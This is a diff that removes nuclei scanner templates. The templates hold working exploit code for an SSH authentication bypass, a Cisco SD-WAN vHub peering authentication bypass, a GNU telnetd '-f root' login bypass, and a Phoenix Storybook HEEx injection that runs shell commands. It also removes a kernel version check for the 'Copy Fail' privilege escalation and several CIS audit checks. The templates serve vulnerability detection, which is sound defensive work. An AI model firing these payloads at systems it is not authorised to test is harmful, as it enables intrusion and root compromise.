-                  print(f"BYPASS_CONFIRMED user={user} attempt=1 id={out}")
-                  sys.exit(0)
-              # Attempt 2 -- expected PASS (cached salt)
-              try:
-                  t.auth_password(user, PW)
-              except paramiko.AuthenticationException:
-                  t.close()
-                  continue
-              except Exception:
-                  t.close()
-                  continue
-              try:
-                  ch = t.open_session()
-                  ch.exec_command("id")
-                  out = ch.makefile().read().decode().strip()
-                  ch.close()
-              except:
-                  out = "session-open"
-              t.close()
-              print(f"BYPASS_CONFIRMED user={user} attempt=2 id={out}")
-              sys.exit(0)
-          except Exception:
-              continue
-      print("BYPASS_FAILED")
-
-    matchers:
-      - type: word
-        words:
-          - "BYPASS_CONFIRMED"
-
-    extractors:
-      - type: regex
-        name: bypassed_user
-        group: 1
-        regex:
-          - "user=(\\S+)"
-# digest: 4a0a004730450220459a76f7ff516f815d5064c0fd52bda0c28f76ca71ad7e68272ac5b5791e4b51022100dc8642332767838f2acb8004469d40ebd502c17f3728cb83b18e442ccb6b7ca2:922c64590222798bb761d5b6d8e72950

code/cves/2026/CVE-2026-20182.yaml

@@ -1,275 +0,0 @@
-id: CVE-2026-20182
-
-info:
-  name: Cisco Catalyst SD-WAN Controller - vHub Authentication Bypass
-  author: sfewer-r7,Crypto-Cat,pussycat0x,DhiyaneshDk
-  severity: critical
-  description: |
-    Cisco Catalyst SD-WAN Controller and Manager contain an authentication bypass caused by improper peering authentication mechanism, letting unauthenticated remote attackers obtain administrative privileges, exploit requires sending crafted requests.
-  remediation: |
-    Update to the latest fixed version as per Cisco advisory.
-  impact: |
-    Unauthenticated attackers can gain administrative access and manipulate network configurations, risking full control of the SD-WAN fabric.
-  reference:
-    - https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-rpa2-v69WY2SW
-    - https://blog.talosintelligence.com/sd-wan-ongoing-exploitation/
-    - https://www.rapid7.com/blog/post/ve-cve-2026-20182-critical-authentication-bypass-cisco-catalyst-sd-wan-controller-fixed/
-    - https://nvd.nist.gov/vuln/detail/CVE-2026-20182
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
-    cvss-score: 10.0
-    cve-id: CVE-2026-20182
-    epss-score: 0.91817
-    epss-percentile: 0.99816
-    cwe-id: CWE-287
-    cpe: cpe:2.3:a:cisco:catalyst_sd-wan_controller:*:*:*:*:*:*:*:*
-  metadata:
-    verified: true
-    max-request: 1
-    vendor: cisco
-    product: catalyst_sd-wan_controller
-    shodan-query: port:12346 product:"Cisco SD-WAN"
-    fofa-query: port="12346" && product="Cisco SD-WAN"
-  tags: cve,cve2026,cisco,sdwan,auth-bypass,network,critical,kev,vuln,vkev
-
-variables:
-  HOST: "{{Host}}"
-  PORT: "{{Port}}"
-
-code:
-  - engine:
-      - py
-      - python3
-
-    source: |
-      import os
-      import struct
-      import socket
-      import subprocess
-      import time
-      import select
-      import secrets
-      import tempfile
-      import shutil
-
-      MSG_HELLO         = 0x05
-      MSG_CHALLENGE     = 0x08
-      MSG_CHALLENGE_ACK = 0x09
-      MSG_TEAR_DOWN     = 0x0B
-
-      DEV_VHUB  = 2
-      HDR_FLAGS = 0xA0
-      DOMAIN_ID = 1
-      SITE_ID   = 100
-
-      MSG_NAMES = {
-          0x05: "Hello",
-          0x08: "CHALLENGE",
-          0x09: "CHALLENGE_ACK",
-          0x0B: "TEAR_DOWN",
-          0x0D: "REGISTER_TO_VMANAGE",
-          0x0E: "VMANAGE_TO_PEER",
-      }
-
-      def build_header(msg_type):
-          byte0 = msg_type & 0x0F
-          byte1 = (DEV_VHUB & 0x0F) << 4
-          return struct.pack(">BBBBII", byte0, byte1, HDR_FLAGS, 0x00,
-                             DOMAIN_ID, SITE_ID)
-
-      def hdr_msg_type(data):
-          return data[0] & 0x0F if data else None
-
-      def build_tlv(tlv_type, value):
-          if isinstance(value, str):
-              value = value.encode()
-          return struct.pack(">HH", tlv_type, len(value)) + value
-
-      def build_challenge_ack_body():
-          uuid_str   = secrets.token_hex(16)
-          server_key = secrets.token_hex(16)
-
-          tlvs  = build_tlv(0x0013, struct.pack(">H", 0))
-          tlvs += build_tlv(0x0014, struct.pack(">H", 1))
-          tlvs += build_tlv(0x0018, struct.pack(">B", 1))
-          tlvs += build_tlv(0x0019, struct.pack(">B", 0))
-          tlvs += build_tlv(0x0006, uuid_str)
-          tlvs += build_tlv(0x0032, server_key)
-
-          body  = struct.pack(">BB", 0, 0)
-          body += struct.pack(">B", 6)
-          body += tlvs
-          return body
-
-      def build_hello_body(port):
-          body  = struct.pack(">BBBB", 0x00, 0x00, 0x00, 0x00)
-          body += struct.pack(">H", 2)
-          body += socket.inet_aton("127.0.0.1")
-          body += struct.pack(">H", port)
-          body += struct.pack(">I", 1)
-          body += b"\x00" * 20
-          body += struct.pack(">II", 10000, 60000)
-          body += struct.pack(">B", 2)
-          body += build_tlv(0x0021, struct.pack(">B", 0))
-          body += build_tlv(0x0022, struct.pack(">B", 0))
-          return body
-
-      def generate_self_signed_cert():
-          tmpdir = tempfile.mkdtemp(prefix="nuclei_sdwan_")
-          cert_path = os.path.join(tmpdir, "cert.pem")
-          key_path  = os.path.join(tmpdir, "key.pem")
-
-          result = subprocess.run(
-              [
-                  "openssl", "req", "-x509", "-newkey", "rsa:2048",
-                  "-keyout", key_path,
-                  "-out",    cert_path,
-                  "-days",   "1",
-                  "-nodes",
-                  "-subj",   "/CN=nuclei/O=nuclei/C=US",
-                  "-quiet",
-              ],
-              capture_output=True,
-              timeout=15,
-          )
-          if result.returncode != 0:
-              return None, None, tmpdir
-          return cert_path, key_path, tmpdir
-
-      def dtls_connect(host, port, cert_path, key_path):
-          cmd = [
-              "openssl", "s_client",
-              "-dtls1_2",
-              "-connect", f"{host}:{port}",
-              "-cert",    cert_path,
-              "-key",     key_path,
-              "-no_ign_eof",
-              "-quiet",
-          ]
-          return subprocess.Popen(
-              cmd,
-              stdin=subprocess.PIPE,
-              stdout=subprocess.PIPE,
-              stderr=subprocess.PIPE,
-          )
-
-      def wait_for_data(fd, timeout_sec):
-          ready, _, _ = select.select([fd], [], [], timeout_sec)
-          if not ready:
-              return None
-          try:
-              data = os.read(fd.fileno(), 65536)
-              return data if data else None
-          except OSError:
-              return None
-
-      def send_message(proc, msg_type, body=b""):
-          message = build_header(msg_type) + body
-          try:
-              proc.stdin.write(message)
-              proc.stdin.flush()
-              return True
-          except (BrokenPipeError, OSError):
-              return False
-
-      def recv_message(proc, timeout_sec=10):
-          data = wait_for_data(proc.stdout, timeout_sec)
-          if not data or len(data) < 12:
-              return None, None
-          return data[:12], data[12:]
-
-      def check_vulnerability(host, port):
-          target = f"{host}:{port}"
-          print(f"[*] Testing target: {target}")
-
-          cert_path, key_path, tmpdir = generate_self_signed_cert()
-          if not cert_path:
-              print("[-] Certificate generation failed")
-              return False
-
-          proc = None
-          try:
-              proc = dtls_connect(host, port, cert_path, key_path)
-              time.sleep(3)
-
-              if proc.poll() is not None:
-                  print("[-] DTLS handshake failed")
-                  return False
-
-              hdr, _ = recv_message(proc, timeout_sec=12)
-              if hdr is None:
-                  print("[-] No CHALLENGE received")
-                  return False
-
-              msg_type = hdr_msg_type(hdr)
-              if msg_type != MSG_CHALLENGE:
-                  name = MSG_NAMES.get(msg_type, f"0x{msg_type:02X}")
-                  print(f"[-] Unexpected message type: {name}")
-                  return False
-
-              if not send_message(proc, MSG_CHALLENGE_ACK, build_challenge_ack_body()):
-                  print("[-] Failed to send CHALLENGE_ACK")
-                  return False
-
-              hdr, _ = recv_message(proc, timeout_sec=8)
-              if hdr is not None and hdr_msg_type(hdr) == MSG_TEAR_DOWN:
-                  print("[-] Server sent TEAR_DOWN — not vulnerable")
-                  return False
-
-              if not send_message(proc, MSG_HELLO, build_hello_body(port)):
-                  print(f"VULNERABLE: {target}")
-                  return True
-
-              hdr, _ = recv_message(proc, timeout_sec=8)
-              if hdr is not None:
-                  msg_type = hdr_msg_type(hdr)
-                  if msg_type == MSG_TEAR_DOWN:
-                      print("[-] Server sent TEAR_DOWN after Hello — not vulnerable")
-                      return False
-                  print(f"VULNERABLE: {target}")
-                  return True
-
-              print(f"VULNERABLE: {target}")
-              return True
-
-          except subprocess.TimeoutExpired:
-              print("[-] Operation timed out")
-              return False
-          except Exception as e:
-              print(f"[-] Error: {e}")
-              return False
-          finally:
-              if proc:
-                  try:
-                      proc.terminate()
-                      proc.wait(timeout=3)
-                  except Exception:
-                      try:
-                          proc.kill()
-                      except Exception:
-                          pass
-              shutil.rmtree(tmpdir, ignore_errors=True)
-
-      if __name__ == "__main__":
-          host = os.getenv("Host")
-          port = os.getenv("Port", "12346")
-
-          if not host:
-              print("Host environment variable not set")
-              exit(1)
-
-          try:
-              port = int(port)
-          except ValueError:
-              port = 12346
-
-          if check_vulnerability(host, port):
-              print("VULNERABLE: vHub CHALLENGE_ACK authentication bypass confirmed")
-          else:
-              print("Target appears to be patched or not Cisco SD-WAN vdaemon")
-
-    matchers:
-      - type: word
-        words:
-          - "VULNERABLE:"
-# digest: 4a0a0047304502200e271c7d89e41b1b6114c53735580b9a4fe34c29fdd0322395c7f6af32edacc50221008941cee2e2914d69681c68bfb03f09fda537c09c67e4fe70a62dc2ada884e5a5:922c64590222798bb761d5b6d8e72950

code/cves/2026/CVE-2026-24061.yaml

@@ -1,52 +0,0 @@
-id: CVE-2026-24061
-
-info:
-  name: GNU Inetutils telnetd - Authentication Bypass
-  author: pussycat0x
-  severity: critical
-  description: |
-    GNU Inetutils telnetd through 2.7 contains an authentication bypass caused by setting the USER environment variable to \"-f root\", letting remote attackers bypass authentication, exploit requires remote access to telnetd service.
-  remediation: |
-    Update to a version later than 2.7 or the latest available version.
-  impact: |
-    Remote attackers can bypass authentication, gaining unauthorized root access to the system.
-  reference:
-    - https://github.com/vulhub/vulhub/tree/master/inetutils/CVE-2026-24061
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-    cvss-score: 9.8
-    cve-id: CVE-2026-24061
-    cwe-id: CWE-88
-    epss-score: 0.98984
-    epss-percentile: 0.99929
-  metadata:
-    verified: true
-    max-request: 1
-    vendor: gnu
-    product: inetutils
-    shodan-query: port:23 telnet
-    fofa-query: port="23" && protocol="telnet"
-  tags: cve,cve2026,telnet,auth-bypass,rce,code,kev,vkev,vuln
-
-code:
-  - engine:
-      - sh
-      - bash
-
-    source: |
-      (sleep 2; echo "id"; sleep 2) | USER="-f root" telnet -a $Host $Port
-
-    matchers-condition: and
-    matchers:
-      - type: regex
-        part: response
-        regex:
-          - 'uid=[0-9]+\([a-zA-Z0-9_-]+\)\s*gid=[0-9]+\([a-zA-Z0-9_-]+\)'
-
-      - type: word
-        part: response
-        words:
-          - "Last login"
-          - "Debian"
-        condition: and
-# digest: 4a0a00473045022065a94097ca7c40bb8bef866c1a6e607a8da23a564d3a75cdadfc656450c05cf10221008d8e4289091ce101df13ad402a376da2a88393b478c7857c13fe194ae343e537:922c64590222798bb761d5b6d8e72950

code/cves/2026/CVE-2026-31431.yaml

@@ -1,142 +0,0 @@
-id: CVE-2026-31431
-
-info:
-  name: Copy Fail - Linux Kernel Local Privilege Escalation via AF_ALG
-  author: ritikchaddha
-  severity: high
-  description: |
-    In the Linux kernel, the following vulnerability has been resolved: crypto: algif_aead - Revert to operating out-of-place This mostly reverts commit 72548b093ee3 except for the copying of the associated data. There is no benefit in operating in-place in algif_aead since the source and destination come from different mappings. Get rid of all the complexity added for in-place operation and just copy the AD directly.
-  impact: |
-    A local attacker can escalate from any unprivileged user to root. The exploit:
-  remediation: |
-    Update the Linux kernel to a patched version. Upstream: 6.18.22+, 6.19.12+, 7.0+, LTS backports: 6.14.5+, 6.13.13+, 6.12.25+, 6.6.87+, 6.1.137+. If immediate patching is not possible, disable or blacklist the algif_aead kernel module
-  reference:
-    - https://discourse.ubuntu.com/t/fixes-available-for-cve-2026-31431-copy-fail-linux-kernel-local-privilege-escalation-vulnerability/81498
-    - https://cert.europa.eu/publications/security-advisories/2026-005
-    - https://xint.io/blog/copy-fail-linux-distributions
-    - https://nvd.nist.gov/vuln/detail/CVE-2026-31431
-  classification:
-    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
-    cvss-score: 7.8
-    cve-id: CVE-2026-31431
-    epss-score: 0.98114
-    epss-percentile: 0.99911
-    cwe-id: CWE-787
-    cpe: cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*
-  metadata:
-    verified: true
-    max-request: 3
-    vendor: linux
-    product: linux_kernel
-  tags: cve,cve2026,code,kernel,linux,privesc,local,lpe,kev,vkev,vuln
-
-self-contained: true
-
-flow: code(1) && code(2) && code(3)
-
-code:
-  - engine:
-      - sh
-      - bash
-    source: |
-      whoami
-
-    matchers:
-      - type: word
-        part: response
-        words:
-          - "root"
-        negative: true
-        internal: true
-
-  - engine:
-      - sh
-      - bash
-    source: |
-      uname -r
-
-    extractors:
-      - type: regex
-        name: kernel_version
-        part: response
-        regex:
-          - '^[0-9]+\.[0-9]+\.[0-9]+'
-        internal: true
-
-  - engine:
-      - sh
-      - bash
-    source: |
-      KVER=$(uname -r)
-      MAJOR=$(echo "$KVER" | cut -d. -f1)
-      MINOR=$(echo "$KVER" | cut -d. -f2)
-      PATCH=$(echo "$KVER" | cut -d. -f3 | cut -d- -f1)
-      VULNERABLE=0
-
-      # Check if algif_aead module is loaded or built-in (required attack surface)
-      AEAD_PRESENT=0
-      if lsmod 2>/dev/null | grep -q "algif_aead"; then
-        AEAD_PRESENT=1
-      elif [ -f /proc/modules ] && grep -q "algif_aead" /proc/modules 2>/dev/null; then
-        AEAD_PRESENT=1
-      elif [ -f "/lib/modules/$KVER/kernel/crypto/algif_aead.ko" ] || \
-           [ -f "/lib/modules/$KVER/kernel/crypto/algif_aead.ko.zst" ] || \
-           [ -f "/lib/modules/$KVER/kernel/crypto/algif_aead.ko.xz" ]; then
-        AEAD_PRESENT=1
-      elif [ -f "/boot/config-$KVER" ] && grep -q "Cy" "/boot/config-$KVER" 2>/dev/null; then
-        AEAD_PRESENT=1
-      elif [ -f /proc/config.gz ] && zcat /proc/config.gz 2>/dev/null | grep -q "Cy"; then
-        AEAD_PRESENT=1
-      fi
-
-      # Introduced in ~4.14 (commit 72548b093ee3). Patched upstream: 6.18.22, 6.19.12, 7.0+
-      # LTS backports: 6.14.5, 6.13.13, 6.12.25, 6.6.87, 6.1.137
-      if [ "$MAJOR" -eq 4 ] && [ "$MINOR" -ge 14 ]; then
-        VULNERABLE=1
-      elif [ "$MAJOR" -eq 5 ]; then
-        VULNERABLE=1
-      elif [ "$MAJOR" -eq 6 ]; then
-        if [ "$MINOR" -le 0 ]; then VULNERABLE=1
-        elif [ "$MINOR" -eq 1 ] && [ "$PATCH" -le 136 ]; then VULNERABLE=1
-        elif [ "$MINOR" -ge 2 ] && [ "$MINOR" -le 5 ]; then VULNERABLE=1
-        elif [ "$MINOR" -eq 6 ] && [ "$PATCH" -le 86 ]; then VULNERABLE=1
-        elif [ "$MINOR" -ge 7 ] && [ "$MINOR" -le 11 ]; then VULNERABLE=1
-        elif [ "$MINOR" -eq 12 ] && [ "$PATCH" -le 24 ]; then VULNERABLE=1
-        elif [ "$MINOR" -eq 13 ] && [ "$PATCH" -le 12 ]; then VULNERABLE=1
-        elif [ "$MINOR" -eq 14 ] && [ "$PATCH" -le 4 ]; then VULNERABLE=1
-        elif [ "$MINOR" -ge 15 ] && [ "$MINOR" -le 17 ]; then VULNERABLE=1
-        elif [ "$MINOR" -eq 18 ] && [ "$PATCH" -le 21 ]; then VULNERABLE=1
-        elif [ "$MINOR" -eq 19 ] && [ "$PATCH" -le 11 ]; then VULNERABLE=1
-        fi
-      fi
-
-      if [ "$VULNERABLE" -eq 1 ]; then
-        if [ "$AEAD_PRESENT" -eq 1 ]; then
-          echo "VULNERABLE: kernel $KVER - algif_aead module present, version in affected range"
-        else
-          echo "VULNERABLE: kernel $KVER - version in affected range (algif_aead module status unknown, may be loadable)"
-        fi
-      else
-        echo "NOT_VULNERABLE: kernel $KVER"
-      fi
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: response
-        words:
-          - "VULNERABLE:"
-
-      - type: word
-        part: response
-        words:
-          - "NOT_VULNERABLE"
-        negative: true
-
-    extractors:
-      - type: regex
-        name: detection_detail
-        part: response
-        regex:
-          - 'VULNERABLE:.*'
-# digest: 490a00463044022051713b8fee9c8af61e7d430677309dbfe206f3b94f712ade50fe676b31b4de0302201bc5a3b9b15d079c56cd4c486fd470f4d2d7050d8218206ac027456019598695:922c64590222798bb761d5b6d8e72950

code/cves/2026/CVE-2026-8467.yaml

@@ -1,279 +0,0 @@
-id: CVE-2026-8467
-
-info:
-  name: Phoenix Storybook - Remote Code Execution
-  author: 0x_Akoko
-  severity: critical
-  description: |
-    Phenixdigital phoenix_storybook >=0.5.0 <1.1.0 contains a code injection caused by unsanitized attribute value interpolation in HEEx template generation, letting unauthenticated remote attackers execute arbitrary code on the server, exploit requires sending crafted WebSocket event data.
-  impact: |
-    Unauthenticated attackers can execute arbitrary code on the server, leading to full system compromise.
-  remediation: |
-    Upgrade to version 1.1.0 or later.
-  reference:
-    - https://github.com/plausible/analytics/security/advisories
-    - https://github.com/plausible/analytics
-    - https://nvd.nist.gov/vuln/detail/CVE-2026-8467
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-    cvss-score: 9.8
-    cve-id: CVE-2026-8467
-    epss-score: 0.02111
-    epss-percentile: 0.81931
-    cwe-id: CWE-94
-  metadata:
-    verified: true
-    max-request: 3
-    shodan-query: http.favicon.hash:829712541
-    fofa-query: icon_hash=="829712541"
-  tags: cve,cve2026,rce,plausible,phoenix,storybook,heex
-
-code:
-  - engine:
-      - py
-      - python3
-    source: |
-      import sys, re, json, ssl, socket, struct, base64, os, time
-      import http.cookiejar, urllib.request, urllib.parse, urllib.error
-
-      target = sys.stdin.read().strip()
-      if not target:
-          print("ERROR: No target")
-          sys.exit(1)
-      target = target.rstrip("/")
-      if not target.startswith("http"):
-          target = "http://" + target
-      is_https = target.startswith("https://")
-
-      ssl_ctx = ssl.create_default_context()
-      ssl_ctx.check_hostname = False
-      ssl_ctx.verify_mode = ssl.CERT_NONE
-
-      storybook_url = target + "/storybook/iframe/button?playground=true&variation_id=default&topic=pwn"
-
-      # Step 1: Fetch storybook page
-      try:
-          cj = http.cookiejar.CookieJar()
-          opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj), urllib.request.HTTPSHandler(context=ssl_ctx))
-          req = urllib.request.Request(storybook_url, headers={"User-Agent": "Mozilla/5.0"})
-          resp = opener.open(req, timeout=15)
-          body = resp.read().decode("utf-8", errors="replace")
-      except Exception as e:
-          print("NOT_VULNERABLE: Connection failed - " + str(e))
-          sys.exit(0)
-
-      if resp.getcode() != 200 or "data-phx-session" not in body:
-          print("NOT_VULNERABLE: Storybook not exposed (HTTP " + str(resp.getcode()) + ")")
-          sys.exit(0)
-
-      # Step 2: Extract tokens
-      csrf_m = re.search(r'content="([^"]+)"\s+name="csrf-token"', body) or re.search(r'name="csrf-token"\s+content="([^"]+)"', body)
-      if not csrf_m:
-          print("NOT_VULNERABLE: No CSRF token")
-          sys.exit(0)
-      csrf = csrf_m.group(1)
-      cookie_str = "; ".join(c.name + "=" + c.value for c in cj)
-      phx_id_m = re.search(r'id="phx-([^"]+)"', body)
-      if not phx_id_m:
-          print("NOT_VULNERABLE: No PHX ID")
-          sys.exit(0)
-      phx_id = phx_id_m.group(1)
-      sessions = re.findall(r'data-phx-session="([^"]+)"', body)
-      statics = re.findall(r'data-phx-static="([^"]+)"', body)
-      if not sessions or not statics:
-          print("NOT_VULNERABLE: No session tokens")
-          sys.exit(0)
-      parent_session = sessions[0]
-      parent_static = statics[0]
-      child_static = statics[1] if len(statics) > 1 else statics[0]
-
-      # Step 3: Raw WebSocket connection (NO Origin header - bypasses Phoenix check_origin)
-      host_with_port = target.split("://", 1)[1]
-      parts = host_with_port.split(":")
-      ws_host = parts[0]
-      ws_port = int(parts[1]) if len(parts) > 1 else (443 if is_https else 80)
-      csrf_enc = urllib.parse.quote(csrf, safe="")
-      ws_path = "/live/websocket?_csrf_token=" + csrf_enc + "&_track_static%5B0%5D=&_mounts=0&vsn=2.0.0"
-
-      try:
-          sock = socket.create_connection((ws_host, ws_port), timeout=15)
-          if is_https:
-              sock = ssl_ctx.wrap_socket(sock, server_hostname=ws_host)
-          ws_key = base64.b64encode(os.urandom(16)).decode()
-          handshake = "GET " + ws_path + " HTTP/1.1\r\nHost: " + host_with_port + "\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: " + ws_key + "\r\nSec-WebSocket-Version: 13\r\nCookie: " + cookie_str + "\r\nUser-Agent: Mozilla/5.0\r\n\r\n"
-          sock.sendall(handshake.encode())
-          resp_data = b""
-          while b"\r\n\r\n" not in resp_data:
-              chunk = sock.recv(4096)
-              if not chunk:
-                  break
-              resp_data += chunk
-          if b"101" not in resp_data.split(b"\r\n")[0]:
-              print("NOT_VULNERABLE: WebSocket upgrade failed")
-              sys.exit(0)
-      except Exception as e:
-          print("NOT_VULNERABLE: WebSocket connection failed - " + str(e))
-          sys.exit(0)
-
-      def ws_send(sock, data):
-          payload = data.encode("utf-8")
-          frame = bytearray([0x81])
-          mask_key = os.urandom(4)
-          ln = len(payload)
-          if ln < 126:
-              frame.append(0x80 | ln)
-          elif ln < 65536:
-              frame.append(0x80 | 126)
-              frame.extend(struct.pack("!H", ln))
-          else:
-              frame.append(0x80 | 127)
-              frame.extend(struct.pack("!Q", ln))
-          frame.extend(mask_key)
-          masked = bytearray(ln)
-          for i in range(ln):
-              masked[i] = payload[i] ^ mask_key[i % 4]
-          frame.extend(masked)
-          sock.sendall(bytes(frame))
-
-      def ws_recv(sock, timeout=10):
-          sock.settimeout(timeout)
-          def rx(n):
-              d = b""
-              while len(d) < n:
-                  c = sock.recv(n - len(d))
-                  if not c:
-                      raise Exception("closed")
-                  d += c
-              return d
-          hdr = rx(2)
-          op = hdr[0] & 0x0F
-          mk = (hdr[1] & 0x80) != 0
-          ln = hdr[1] & 0x7F
-          if ln == 126:
-              ln = struct.unpack("!H", rx(2))[0]
-          elif ln == 127:
-              ln = struct.unpack("!Q", rx(8))[0]
-          if mk:
-              mask_key = rx(4)
-          pl = rx(ln)
-          if mk:
-              pl = bytearray(pl)
-              for i in range(len(pl)):
-                  pl[i] ^= mask_key[i % 4]
-              pl = bytes(pl)
-          return op, pl.decode("utf-8", errors="replace")
-
-      # Step 4: Join parent LiveView
-      parent_join = json.dumps(["1", "1", "lv:phx-" + phx_id, "phx_join", {"url": storybook_url, "params": {"_csrf_token": csrf, "_mounts": 0}, "session": parent_session, "static": parent_static}])
-      ws_send(sock, parent_join)
-
-      child_session = None
-      child_topic = None
-      for _ in range(10):
-          try:
-              op, msg = ws_recv(sock)
-              if not msg:
-                  continue
-              data = json.loads(msg)
-              if isinstance(data, list) and len(data) >= 5 and data[3] == "phx_reply":
-                  rendered_str = json.dumps(data[4].get("response", {}).get("rendered", {}))
-                  cs = re.findall(r'data-phx-session=\\+"([^"\\]+)', rendered_str)
-                  for s in cs:
-                      if s != parent_session:
-                          child_session = s
-                          break
-                  if not child_session and cs:
-                      child_session = cs[0]
-                  tm = re.findall(r'id=\\+"([^"\\]*-playground-preview)', rendered_str)
-                  if tm:
-                      child_topic = "lv:" + tm[0]
-                  cst = re.findall(r'data-phx-static=\\+"([^"\\]+)', rendered_str)
-                  if cst:
-                      child_static = cst[0]
-                  break
-          except:
-              break
-
-      if not child_session:
-          if len(sessions) > 1:
-              child_session = sessions[1]
-          else:
-              print("NOT_VULNERABLE: No child session found")
-              sock.close()
-              sys.exit(0)
-
-      if not child_topic:
-          child_topic = "lv:plausible_web_storybook_button-playground-preview"
-
-      # Step 5: Join child LiveView
-      child_join = json.dumps(["2", "2", child_topic, "phx_join", {"url": storybook_url, "params": {"_csrf_token": csrf, "_mounts": 0}, "session": child_session, "static": child_static}])
-      ws_send(sock, child_join)
-
-      child_joined = False
-      for _ in range(10):
-          try:
-              op, msg = ws_recv(sock)
-              if not msg:
-                  continue
-              data = json.loads(msg)
-              if isinstance(data, list) and len(data) >= 5 and data[3] == "phx_reply":
-                  st = data[4].get("status", "") if isinstance(data[4], dict) else ""
-                  if st == "ok":
-                      child_joined = True
-                      break
-          except:
-              break
-
-      if not child_joined:
-          print("NOT_VULNERABLE: Child join failed")
-          sock.close()
-          sys.exit(0)
-
-      # Step 6: Send RCE payload
-      cmd = "id"
-      exploit_val = 'foo" pwned={elem(System.cmd("sh",["-c","' + cmd + '"]),0)} a="'
-      exploit_msg = json.dumps(["3", "3", child_topic, "event", {"type": "click", "event": "psb-assign", "value": {"variation_id": "default", "type": exploit_val}}])
-      ws_send(sock, exploit_msg)
-
-      # Step 7: Parse output
-      rce_output = ""
-      for _ in range(10):
-          try:
-              op, msg = ws_recv(sock)
-              if not msg:
-                  continue
-              if "pwned" in msg:
-                  pm = re.search(r'pwned=\\+"(.*?)\\+"', msg)
-                  if not pm:
-                      pm = re.search(r'pwned="(.*?)"', msg)
-                  if pm:
-                      rce_output = pm.group(1).replace("\\n", "\n").replace("\\t", "\t").replace('\\"', '"')
-                      rce_output = re.sub(r'\s+a=.*', '', rce_output, flags=re.DOTALL).strip()
-                      break
-          except:
-              break
-
-      sock.close()
-
-      if rce_output and "uid=" in rce_output:
-          print("Target: " + target)
-          print("Status: RCE_CONFIRMED")
-          print("Command: " + cmd)
-          print("Output: " + rce_output)
-      else:
-          print("NOT_VULNERABLE: No RCE output")
-
-    matchers:
-      - type: word
-        words:
-          - "RCE_CONFIRMED"
-          - "uid="
-        condition: and
-
-    extractors:
-      - type: regex
-        name: rce_output
-        group: 1
-        regex:
-          - "Output: (.*)"
-# digest: 4b0a00483046022100c3bacc24a6c782c33a659a561bd2a7c9d5c5e1e9f557a82d63ed9350d96ebfb5022100b31194718abeddf5bad51d7ff63b7a01f1f9d37a4356f3e4f0fecfff64cc1573:922c64590222798bb761d5b6d8e72950

code/linux/audit/apport-error-reporting-disabled-check.yaml

@@ -1,45 +0,0 @@
-id: apport-error-reporting-disabled-check
-
-info:
-  name: Ensure Automatic Error Reporting is Not Enabled
-  author: Th3l0newolf
-  severity: medium
-  description: |
-    This template checks whether the Apport automatic error reporting service is enabled.
-  remediation: |
-    Disable Apport by editing `/etc/default/apport` and setting:
-      enabled=0
-
-    If Apport is not required, remove it:
-      sudo apt remove apport -y
-  reference:
-    - https://www.cisecurity.org/benchmark/ubuntu_linux
-  tags: cis,linux,ubuntu,apport,error-reporting,audit
-  metadata:
-    verified: true
-
-self-contained: true
-
-code:
-  - engine:
-      - bash
-    args:
-      - "-c"
-      - |
-        if dpkg-query -s apport &>/dev/null && grep -Psiq -- '^\h*enabled\h*=\h*[^0]\b' /etc/default/apport; then
-          echo "[apport-error-reporting-disabled-check:Policy-Fail] [Automatic Error Reporting is enabled] [CIS_FAIL] [medium]"
-        else
-          echo "[apport-error-reporting-disabled-check:Policy-Pass] [Automatic Error Reporting is disabled] [CIS_PASS] [medium]"
-        fi
-
-    matchers:
-      - type: word
-        name: policy-pass
-        words:
-          - "Policy-Pass"
-
-      - type: word
-        name: policy-fail
-        words:
-          - "Policy-Fail"
-# digest: 490a0046304402200d37587f3a27f271e96ffbea88879b3f065db850de39a41b3ec97fb0c538f07b0220445de576573745b10d3e4d01b186ef72a9b7270bd0685634c45ddc4348243424:922c64590222798bb761d5b6d8e72950

code/linux/audit/gdm-automount-removable-media-disabled-check.yaml

@@ -1,44 +0,0 @@
-id: gdm-automount-removable-media-disabled-check
-
-info:
-  name: Ensure GDM Automatic Mounting of Removable Media is Disabled
-  author: Th3l0newolf
-  severity: medium
-  description: |
-    This template checks whether automatic mounting of removable media is disabled.
-  remediation: |
-    Disable automatic mounting and automatic opening of removable media in GDM.
-  reference:
-    - https://www.cisecurity.org/benchmark/ubuntu_linux
-  tags: cis,linux,ubuntu,gdm,media,automount,audit
-  metadata:
-    verified: true
-
-self-contained: true
-
-code:
-  - engine:
-      - bash
-    args:
-      - "-c"
-      - |
-        automount=$(gsettings get org.gnome.desktop.media-handling automount 2>/dev/null)
-        automount_open=$(gsettings get org.gnome.desktop.media-handling automount-open 2>/dev/null)
-
-        if [ "$automount" = "false" ] && [ "$automount_open" = "false" ]; then
-          echo "[gdm-automount-removable-media-disabled-check:Policy-Pass] [Automatic mounting of removable media is disabled] [CIS_PASS] [medium]"
-        else
-          echo "[gdm-automount-removable-media-disabled-check:Policy-Fail] [Automatic mounting of removable media is enabled] [CIS_FAIL] [medium]"
-        fi
-
-    matchers:
-      - type: word
-        name: policy-pass
-        words:
-          - "Policy-Pass"
-
-      - type: word
-        name: policy-fail
-        words:
-          - "Policy-Fail"
-# digest: 4a0a00473045022100d49ac46ebe2172ca1f5fa4fbd1d7e2c4c3964ce081c06e33a29d8d87f5789c020220162bf14558a7cd7eca0d7006654b7ba99ffc23fd118e9bd7df99babf6fe13ced:922c64590222798bb761d5b6d8e72950

code/linux/audit/gdm-autorun-never-enabled-check.yaml

@@ -1,44 +0,0 @@
-id: gdm-autorun-never-enabled-check
-
-info:
-  name: Ensure GDM autorun-never is Enabled
-  author: Th3l0newolf
-  severity: medium
-  description: |
-    This template checks whether GDM is configured to disable autorun for removable media.
-  remediation: |
-    Enable the `autorun-never` setting to prevent automatic execution of content
-    from removable media.
-  reference:
-    - https://www.cisecurity.org/benchmark/ubuntu_linux
